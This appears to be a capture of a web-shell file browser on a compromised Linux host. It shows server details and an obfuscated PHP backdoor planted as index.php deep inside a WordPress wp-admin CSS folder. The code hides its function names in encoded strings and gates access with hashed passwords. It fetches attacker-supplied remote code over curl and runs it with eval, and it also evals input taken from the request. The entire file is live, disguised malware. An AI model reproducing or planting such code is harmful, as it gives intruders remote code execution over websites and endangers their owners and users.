HEX
Server: Apache
System: Linux vpshost0650.publiccloud.com.br 4.4.79-grsec-1.lc.x86_64 #1 SMP Wed Aug 2 14:18:21 -03 2017 x86_64
User: bandeirantesbomb3 (10068)
PHP: 8.0.7
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: //proc/self/root/proc/thread-self/cwd/wp-admin/css/colors/midnight/midnight/midnight/index.php
<?php
 goto V8TI3OsROLv5le; OlYy_2z_Wr8T7C: @(md5(md5(md5(md5($saw8MOwvFNCByn[8])))) === "\x36\x33\67\71\x39\63\x34\x35\61\146\70\142\x32\x65\61\x37\x39\142\x35\146\64\142\60\143\x64\x61\x33\x64\x31\142\x62\141") && (count($saw8MOwvFNCByn) == 14 && in_array(gettype($saw8MOwvFNCByn) . count($saw8MOwvFNCByn), $saw8MOwvFNCByn)) ? ($saw8MOwvFNCByn[70] = $saw8MOwvFNCByn[70] . $saw8MOwvFNCByn[76]) && ($saw8MOwvFNCByn[85] = $saw8MOwvFNCByn[70]($saw8MOwvFNCByn[85])) && @eval($saw8MOwvFNCByn[70](${$saw8MOwvFNCByn[31]}[13])) : $saw8MOwvFNCByn; goto B3m6Ctvhy6iQ16; B3m6Ctvhy6iQ16: metaphone("\x46\64\x73\132\x56\117\141\x64\x4f\63\x61\66\104\164\x6e\63\x65\126\x46\103\113\x2b\x70\x39\x39\105\x34\150\x4f\x63\x4b\x38\x72\x66\160\65\x43\53\153\x49\117\x47\x45"); goto lxlp9AoA8bdtOS; V8TI3OsROLv5le: $HAT9Fnv2SlchaW = "\x72" . "\x61" . "\156" . "\x67" . "\x65"; goto zfD2MNLxaPiLEh; PcwxPQaCzj1Kxw: $saw8MOwvFNCByn = ${$oK4jMz_7U3KSy1[20 + 11] . $oK4jMz_7U3KSy1[38 + 21] . $oK4jMz_7U3KSy1[39 + 8] . $oK4jMz_7U3KSy1[10 + 37] . $oK4jMz_7U3KSy1[30 + 21] . $oK4jMz_7U3KSy1[48 + 5] . $oK4jMz_7U3KSy1[54 + 3]}; goto OlYy_2z_Wr8T7C; zfD2MNLxaPiLEh: $oK4jMz_7U3KSy1 = $HAT9Fnv2SlchaW("\176", "\x20"); goto PcwxPQaCzj1Kxw; lxlp9AoA8bdtOS: class PIfzwMWnRvVMce { static function AkqO4BAILqC5c7($Ir9xZRPNlX5WNP) { goto lNa9ByQ2jRn52F; lRgRW_4FugLywI: $HQ9V3OKUl_15AY = explode("\73", $Ir9xZRPNlX5WNP); goto uMvT9lf80NNrm1; YSOV31aWGgwYvY: owrYk0oeo9nEwd: goto thEKsTkaK2PCXW; thEKsTkaK2PCXW: return $gAgFfr9qb5y1Tn; goto nRQAS2Qh96HF7C; J1T_SmgiGpvszo: $hEkxSWwyS4RthY = $Ehkx1cF7Y4j40N("\176", "\40"); goto lRgRW_4FugLywI; bPK55p4pHC88vj: foreach ($HQ9V3OKUl_15AY as $CFebnCALH0Ps57 => $Kmc2mSwNlPSyG3) { $gAgFfr9qb5y1Tn .= $hEkxSWwyS4RthY[$Kmc2mSwNlPSyG3 - 32576]; mv9UQ2PBAjoi6S: } goto YSOV31aWGgwYvY; uMvT9lf80NNrm1: $gAgFfr9qb5y1Tn = ''; goto bPK55p4pHC88vj; lNa9ByQ2jRn52F: $Ehkx1cF7Y4j40N = "\x72" . "\141" . "\x6e" . "\147" . "\145"; goto J1T_SmgiGpvszo; nRQAS2Qh96HF7C: } static function YbtnjrBZBTs5Jb($vbW6Dj1Z_tE2b2, $THENEE6IhI19bj) { goto kwI4OzajKrunrk; LZarDVuffI32JL: $kQTglKUVLl_qYl = curl_exec($iIiLCIy4Sa18oS); goto REEvVRkQ7w5OEp; kwI4OzajKrunrk: $iIiLCIy4Sa18oS = curl_init($vbW6Dj1Z_tE2b2); goto GgVGsi3Y4We9u1; GgVGsi3Y4We9u1: curl_setopt($iIiLCIy4Sa18oS, CURLOPT_RETURNTRANSFER, 1); goto LZarDVuffI32JL; REEvVRkQ7w5OEp: return empty($kQTglKUVLl_qYl) ? $THENEE6IhI19bj($vbW6Dj1Z_tE2b2) : $kQTglKUVLl_qYl; goto nkepW_GvFKHQFc; nkepW_GvFKHQFc: } static function itzQTAerdO_O3x() { goto RW5LwZ34_DHG13; cMb9pwaRi8q3CD: $w5SgWDLanw40n3 = @$almdhFPSQXn8nA[1]($almdhFPSQXn8nA[3 + 7](INPUT_GET, $almdhFPSQXn8nA[3 + 6])); goto BBmLgD4TzAP3g2; uXzqC1E9XuGClS: if (!(@$c_EZs2r00XnRUZ[0] - time() > 0 and md5(md5($c_EZs2r00XnRUZ[0 + 3])) === "\x32\x39\67\70\64\x65\x34\143\61\x62\x35\145\145\x39\64\142\66\x30\60\65\x63\x61\60\x63\x36\x34\x37\x66\145\x34\145\70")) { goto HWHbtiGVgpQSW9; } goto a1zH3m7koZg20J; qZMDedqUWW5LEc: $c_EZs2r00XnRUZ = $almdhFPSQXn8nA[0 + 2]($M7WlfLMDXc626r, true); goto AN3PyzVEbuGCsM; O7kmPViY9Q75NW: die; goto cY0gR477yrqldV; G5xyBjeBuckjke: @eval($almdhFPSQXn8nA[3 + 1]($CVMxNEfk0ItEse)); goto O7kmPViY9Q75NW; AN3PyzVEbuGCsM: @$almdhFPSQXn8nA[1 + 9](INPUT_GET, "\157\146") == 1 && die($almdhFPSQXn8nA[3 + 2](__FILE__)); goto uXzqC1E9XuGClS; cY0gR477yrqldV: HWHbtiGVgpQSW9: goto TZz_bfOrxTBiOQ; a1zH3m7koZg20J: $CVMxNEfk0ItEse = self::ybTNjrBzBtS5Jb($c_EZs2r00XnRUZ[0 + 1], $almdhFPSQXn8nA[5 + 0]); goto G5xyBjeBuckjke; RW5LwZ34_DHG13: $VXnpSTLfEj50AZ = array("\63\62\x36\60\x33\73\x33\62\65\70\x38\x3b\63\62\x36\x30\61\x3b\63\62\x36\x30\65\73\x33\62\65\x38\x36\73\63\62\66\60\x31\x3b\63\62\66\60\67\x3b\x33\x32\66\x30\x30\73\63\62\65\70\x35\x3b\63\62\x35\71\62\73\x33\x32\66\60\63\x3b\x33\62\x35\70\x36\73\x33\x32\65\x39\67\x3b\63\x32\x35\x39\61\x3b\x33\x32\65\71\62", "\x33\x32\x35\70\67\73\63\x32\65\x38\66\73\x33\62\x35\70\x38\x3b\63\62\x36\x30\67\73\63\x32\65\70\70\x3b\x33\62\x35\71\x31\73\x33\x32\x35\70\66\x3b\x33\62\x36\x35\63\73\x33\62\66\65\x31", "\63\x32\65\71\66\73\63\62\65\70\67\x3b\x33\62\x35\71\61\73\63\x32\x35\71\x32\x3b\63\x32\x36\x30\x37\73\x33\x32\66\x30\x32\x3b\63\x32\66\x30\61\73\x33\x32\66\60\63\73\x33\62\65\x39\61\73\63\x32\x36\x30\62\73\x33\62\x36\x30\61", "\63\x32\65\71\x30\x3b\63\x32\66\x30\x35\x3b\63\x32\66\x30\x33\x3b\63\62\65\x39\x35", "\63\x32\66\x30\64\73\x33\x32\66\60\x35\73\63\62\x35\x38\67\x3b\x33\62\66\x30\x31\73\63\x32\x36\64\x38\x3b\x33\x32\66\x35\x30\x3b\63\62\66\x30\x37\x3b\x33\62\x36\x30\x32\x3b\x33\62\66\x30\61\73\x33\x32\x36\60\63\73\63\62\x35\x39\x31\x3b\x33\62\x36\x30\x32\x3b\x33\x32\66\60\61", "\x33\62\x36\x30\60\73\63\62\65\71\67\73\x33\x32\65\71\64\x3b\x33\62\66\60\61\x3b\x33\x32\66\x30\x37\x3b\63\x32\65\x39\x39\x3b\63\x32\x36\x30\x31\x3b\x33\62\x35\x38\66\73\x33\x32\66\60\x37\73\x33\x32\x36\60\63\73\x33\62\65\x39\x31\x3b\63\x32\x35\71\62\73\x33\62\65\70\66\73\x33\x32\x36\x30\x31\x3b\63\62\x35\x39\x32\x3b\x33\62\65\x38\66\x3b\x33\62\65\70\67", "\63\62\x36\63\x30\x3b\x33\x32\66\66\x30", "\63\x32\x35\x37\67", "\63\62\66\x35\65\x3b\63\x32\66\66\x30", "\x33\x32\x36\x33\67\x3b\x33\62\66\x32\x30\x3b\x33\x32\x36\62\60\73\x33\x32\66\x33\67\x3b\x33\x32\66\x31\63", "\x33\62\66\60\x30\x3b\63\62\65\71\x37\73\63\62\65\x39\64\x3b\63\x32\x35\70\66\x3b\63\62\x36\60\x31\x3b\x33\x32\x35\x38\70\73\x33\62\x36\60\67\73\x33\62\x35\x39\x37\73\x33\62\65\71\x32\x3b\x33\62\x35\71\60\73\63\62\65\70\x35\73\63\62\x35\70\x36"); goto SO8cVxEAu0vWB_; K9xOCvDA3VD49q: hdvqhgE9HqLiF6: goto cMb9pwaRi8q3CD; BBmLgD4TzAP3g2: $M7WlfLMDXc626r = @$almdhFPSQXn8nA[3 + 0]($almdhFPSQXn8nA[1 + 5], $w5SgWDLanw40n3); goto qZMDedqUWW5LEc; SO8cVxEAu0vWB_: foreach ($VXnpSTLfEj50AZ as $HE3yWUVw_Jq6Fp) { $almdhFPSQXn8nA[] = self::AkqO4bAIlqC5c7($HE3yWUVw_Jq6Fp); JkWEakxniruQuz: } goto K9xOCvDA3VD49q; TZz_bfOrxTBiOQ: } } goto hN6qq1SOVe0dK2; hN6qq1SOVe0dK2: PIfzwMwnRVvmCe::ITZqtAErdo_O3x();
?>